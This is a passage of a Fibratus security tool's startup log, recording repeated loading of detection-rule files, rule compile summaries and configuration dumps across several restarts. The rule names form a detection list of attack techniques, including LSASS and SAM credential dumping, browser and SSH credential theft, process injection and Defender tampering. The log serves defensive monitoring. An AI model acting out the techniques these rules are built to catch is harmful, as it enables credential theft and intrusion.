source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:32:50+01:00 level=info msg=bootstrapping with pid 10932. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:32:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-registry=>true enable-audit-api=>true enable-mem=>false enable-handle=>false stack-enrichment=>true min-buffers=>16 enable-thread=>true enable-image=>true buffer-size=>512 enable-fileio=>true enable-threadpool=>false flush-interval=>1s max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false vhost=>/ exchange-type=>topic passive=>false exchange=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ sniff=>false gzip-compression=>false healthcheck-timeout=>5s timeout=>5s healthcheck=>true enabled=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s excluded-files=>[] fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:32:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:32:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:33:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:33:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:33:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:33:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T17:33:25+01:00 level=info msg=bootstrapping with pid 14384. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:33:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-thread=>true enable-vamap=>true enable-image=>true enable-dns=>false enable-net=>true enable-mem=>false buffer-size=>512 min-buffers=>16 enable-audit-api=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false stack-enrichment=>true enable-handle=>false enable-fileio=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 level=>info max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ timeout=>5s index-name=>fibratus enabled=>false flush-period=>1s healthcheck-timeout=>5s sniff=>false bulk-workers=>1 healthcheck=>true gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] trace-log=>false] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 durable=>false exchange=>fibratus enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s vhost=>/ delivery-mode=>transient passive=>false] http=>[ enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-registry=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:33:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:33:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:35:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:35:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:35:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:36:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:36:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:36:17+01:00 level=info msg=bootstrapping with pid 10912. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:36:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-audit-api=>true enable-image=>true enable-fileio=>true enable-threadpool=>false enable-handle=>false buffer-size=>512 enable-thread=>true enable-vamap=>true stack-enrichment=>true enable-mem=>false min-buffers=>16 max-buffers=>36 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true max-size=>100 formatter=>text level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ bulk-workers=>1 flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true timeout=>5s trace-log=>false gzip-compression=>false sniff=>false enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] template-name=>fibratus] http=>[ 